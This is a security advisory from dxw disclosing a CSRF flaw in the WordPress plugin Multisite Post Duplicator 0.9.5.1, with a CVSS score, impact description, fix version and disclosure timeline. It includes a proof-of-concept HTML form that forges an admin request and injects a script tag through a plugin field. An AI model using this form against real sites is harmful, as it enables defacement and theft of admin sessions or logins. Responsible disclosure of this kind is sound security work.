Details ================ Software: Multisite Post Duplicator Version: 0.9.5.1 Homepage: http://wordpress.org/plugins/multisite-post-duplicator/ Advisory report: https://security.dxw.com/advisories/csrf-vulnerability-in-multisite-post-duplicator-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can-do/ CVE: Awaiting assignment CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N) Description ================ CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do Vulnerability ================ Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another. This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do). This could also be used toA view content not meant to be published. Proof of concept ================ Some of these values may need adjusting depending on the post IDs, blog IDs, etc. <form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\"> <input type=\"text\" name=\"mpd-post-status\" value=\"draft\"> <input type=\"text\" name=\"mdp-prefix\" value=\"&lt;script&gt;alert(1)&lt;/script&gt;\"> <input type=\"text\" name=\"action\" value=\"add_foobar\"> <input type=\"text\" name=\"el0\" value=\"post\"> <input type=\"text\" name=\"el1\" value=\"1\"> <input type=\"text\" name=\"el2\" value=\"1\"> <input type=\"text\" name=\"el3\" value=\"1\"> <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\"> <input type=\"submit\"> </form> Mitigations ================ Update to version 1.1.3 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2016-11-01: Discovered 2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described 2016-12-09: Advisory published Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information.